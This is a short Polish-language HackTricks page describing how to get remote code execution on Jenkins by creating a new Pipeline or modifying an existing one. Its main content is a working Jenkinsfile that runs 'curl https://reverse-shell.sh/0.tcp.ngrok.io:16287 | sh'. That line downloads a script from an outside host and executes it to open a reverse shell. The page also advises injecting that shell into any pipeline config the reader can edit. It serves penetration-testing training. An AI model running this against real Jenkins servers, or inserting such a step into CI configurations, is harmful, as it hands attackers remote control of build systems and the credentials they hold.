Jenkins RCE Tworzenie/Modyfikowanie Pipeline

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Tworzenie nowego Pipeline

W “Nowy element” (dostępne w /view/all/newJob) wybierz Pipeline:

W sekcji Pipeline wpisz reverse shell:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

Na koniec kliknij Zapisz, a następnie Buduj teraz, a potok zostanie wykonany:

Modyfikowanie potoku

Jeśli masz dostęp do pliku konfiguracyjnego jakiegoś skonfigurowanego potoku, możesz po prostu zmodyfikować go, dodając swój reverse shell, a następnie go wykonać lub poczekać, aż zostanie wykonany.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks